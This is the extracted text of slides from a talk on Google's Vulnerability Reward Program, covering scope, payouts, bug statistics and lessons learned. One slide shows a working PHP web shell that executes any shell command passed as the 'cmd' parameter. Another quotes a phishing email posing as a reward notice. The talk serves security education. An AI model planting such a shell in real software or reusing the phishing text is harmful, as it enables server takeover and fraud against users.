"All about the Benjamins"

Google's Vulnerability Reward Program
Agenda

- History
- Google Web
- Recommendations
- Conclusion
Agenda

• History
• Google Web
• Recommendations
• Conclusion
History
Agenda

- History
- Google Web
- Recommendations
- Conclusion
Google Web :: preparation

- feedback/support from:
  - security team
  - legal
  - budget
  - all Google engineers
- panel formation
- war room
Google Web :: scope :: apps
Google Web :: scope :: apps
Mixed Scripting

XSRF
Google Web :: scope :: vulns

XSS

Auth
Bypass
SQLi
Google Web :: scope :: vulns

RCE
Google Web :: scope :: vulns

Exclusions:
• DoS
• corp infrastructure
• SEO blackhat
• acquisitions (if < 6 months)
<?php header("Content-Type: text/plain");
if(isset($_GET["cmd"])) {
    $cmd = $_GET["cmd"];
    echo shell_exec($cmd);
} ?>
Google Web :: PHPicture

• Picture upload for advertising campaigns
• PHP Server
• Poor extension handling

$3,133.70 Under the OLD amounts.

Worth $5,000 - $20,000 under the NEW amounts.
Google Web :: eligibility

• reasonable notice
• private disclosure
• appropriate testing
• first in, best dressed
Immediate increase in reports
  - Decent signal-to-noise
Increased breadth
Clever bugs
Fun bugs
When is a JSON file, not?
• Google Calendar JSONP feed allowed users to specify callback method name
  o Standard
• Alex Dobkin set the callback name to "FWS0abcd"
  o Flash file "magic number"
  o Not Standard
• He was able to construct an (almost) purely alphanumeric flash file to download and display the source code of www.google.com
  o still needed NULL bytes
    ▪ Luckily (or un...) these were not encoded.
• Created a GOTO/jump that jumped to the malicious code in the middle of JSONP feed.
• Code was executed as standard AS.
Google Web :: results

• The Fix?
• 8 Days from notification to full production deployment.
• Add a comment to the beginning!

// API callback
FWSabcdef("version":"1.0"

• We paid $1,337 although at the time XSS was worth only $500 as we thought it was very clever.
  o Oh yeah, we also hired him.
Hello,

I found that you can watch a movie after the sale is declined on the play store. Use a card that is maxed out, get declined, go to movie app, watch the movie or tv show for free. I've tried this several times and it never fails. I'm not sure if this is what you would consider for a reward but *I sure hope so. I'd like to pay my credit card off.*
• Race Condition
• Only "affected" some users
• Technically complex bug with uncomplex symptoms discovered and reported by a regular user with seemingly little technical expertise.
• Good news: We are paying you for this bug. $1,337. Hopefully that helps to pay off your credit card. Please see instructions below for receiving the reward.
Google Web :: results :: bugs

Bugs filed / Month

Issues count

Created During Month
What types of bugs do they find?

- XSS: 68.6%
- XSRF: 15.2%
- Other: 9.5%
- Info leak: 5%
- Auth bypass: 4.2%
- SSL: 3.5%
- Phishing: 2.8%
- XSSI: 2.3%
Are they new or old finders?

- Existing: 14.8%
- New: 85.2%
Google Web :: results :: people

Where do they live?
•top 20% of people are responsible for how many bugs?
• top 20% of people are responsible for how many bugs?

~80%
• How much have we paid?
• How much have we paid?

4,388,978
How much have we paid?

¥4,388,978
how much have we paid?

$704,909.50
URGENT
GOOGLE MANAGEMENT

CONFIDENTIAL
FOR HIGH OFFICIAL OFFICE READ ONLY
This XML file does not appear to have any style information associated with it. The document tree is shown below.

```xml
<Error>
  <Code>AccessDenied</Code>
  <Message>Access Denied</Message>
  <RequestId>99BDBCAA90BD235A</RequestId>
  <HostId>
    vaA0yY8jb0ajmhLCaIjK7vqDUNcDtpXZwpHRkpKuDBGmlb7yT2fLQD+8zZ2AtK
  </HostId>
</Error>
```
Google Web :: results :: $$

Paid per month

Increased the reward amounts
what have we paid for?
- About 50/50 in terms of sensitive apps and non-sensitive apps.
- More in non-google.com domains
$25,825
Google Web :: challenges

• low quality reports looking for cash
• dealing with unsavory characters
• some people dislike $$ for vulns
• resources to triage and administer
• addition to the "not a bug" argument
Hello,

Thanks for the email! Unfortunately, your report is a duplicate of an existing issue. Since we already have a bug report on file, it isn't eligible for a reward.

"actually this is cheating are you providing me other reporter details or any proof? " 
Subject: Google Reward
From: vulnerabilityreward2012@gmail.com
To: <undisclosed>
Body: Straight Phishing!
Your account @mail.google.com was recorded to have automatically sent a "Typical XSS" vulnerability bug report to the Google Security Team. The reward panel found the report eligible for a reward, so you've been selected as a recipient of a reward. In order to get your full details of your reward, including procedure for the payment, we need to verify that this is not a robot operated mailbox. Type in today's date correctly in the format mm/dd/yyyy in the reply box and send back to vulnerabilityrewards2012@gmail.com. Any delay in reply may attract further security protocols...

Please note: We are unable to issue rewards to individuals who are on sanctions lists or who are in countries (e.g. Cuba, Iran, North Korea, Sudan and Syria) depending on your country of residence and citizenship. There may be additional restrictions on your ability to receive your reward depending on your local law. This is not a competition, but rather an experimental and discretionary rewards program. You should understand that we can cancel the program at any time, and the decision as to whether or not to pay a reward has to be entirely at our discretion. Of course, your testing must not violate any law, or disrupt or compromise any data that is not your own.

Please don't reply to this message if you're not the owner of this account. To learn more about the Google Vulnerability Reward Program, click on the link below or copy and paste on browser tab: [http://www.google.com/about/company/rewardprogram.html](http://www.google.com/about/company/rewardprogram.html)
Your account @(mail.google.com) was recorded to have automatically sent a "Typical XSS" vulnerability bug report to the Google Security Team. The reward panel found the report eligible for a reward. You've been selected as a recipient of a reward, inorder to get your the full details of your Reward including procedure for the payment. We need to verify that this not a robot operated mailbox. Type in today's date correctly in the format mm/dd/yyyy in the reply box and send back to vulnerabilityrewards2012@gmail.com. Any delay in reply may attract further security protocols...please note: We are unable to issue rewards to individuals who are on sanctions lists, or who are in countries (e.g. Cuba, Iran, North Korea, Sudan and Syria) depending on your country of residence and citizenship. There may be additional restrictions on your ability to receive your Reward depending on your local law. This is not a competition, but rather an experimental and discretionary rewards program. You should understand that your testing must not violate any law, or disrupt or compromise any data that is not your own. Please don't reply this message if you're not the owner of this account. To learn more about the Google Vulnerability Reward Program, click on the link below or copy and past on browser tab: http://www.google.com/about/company/rewardprogram.html.
Any delay in reply may attract further security protocols...
Agenda

• History
• Google Web
• Recommendations
• Conclusion
Recommendations

- love bugs
- run a tight ship
- remain respectful
- get your resources sorted
  - 1000% increase first 2 weeks
  - 400-500% after
- buy-in from the bug fixers
Recommendations (cont.)

• pay for bugs in dev, test, beta, etc
• proactively communicate common "non-issues"
• start small
• think global
  o language translation
  o PR
• look after the best
Agenda

• History
• Google Web
• Recommendations
• Conclusion
Conclusion

• Has it been a success for Google?
  ○ Yes!

• Should you submit to our VRP?
  ○ YES!
Questions...